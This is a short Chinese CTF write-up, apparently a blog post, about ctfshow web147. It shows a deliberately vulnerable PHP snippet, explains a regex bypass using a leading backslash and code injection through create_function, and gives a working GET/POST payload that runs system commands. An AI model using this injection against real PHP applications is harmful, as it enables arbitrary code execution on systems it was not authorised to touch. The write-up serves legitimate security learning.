ctfshow web147(create_function函数命令执行)

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

首先第一个知识点:

正则绕过很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。最后full以后找到了 \ 这个字符。原理

第二个知识点:

create_function()代码注入

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo $a."123";
}

那么如果我们第二个参数传入 echo 1;}phpinfo();//就等价于

function f($a) {
  echo 1;}phpinfo();//
}
从而执行phpinfo()命令

因此可以达到我们的任意代码执行。

payload:

get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function

 

 

 

参考链接:https://blog.csdn.net/miuzzx/article/details/109197158?spm=1001.2014.3001.5502

 

posted @ 2022-10-20 19:34  hithub  阅读(231)  评论(0编辑  收藏  举报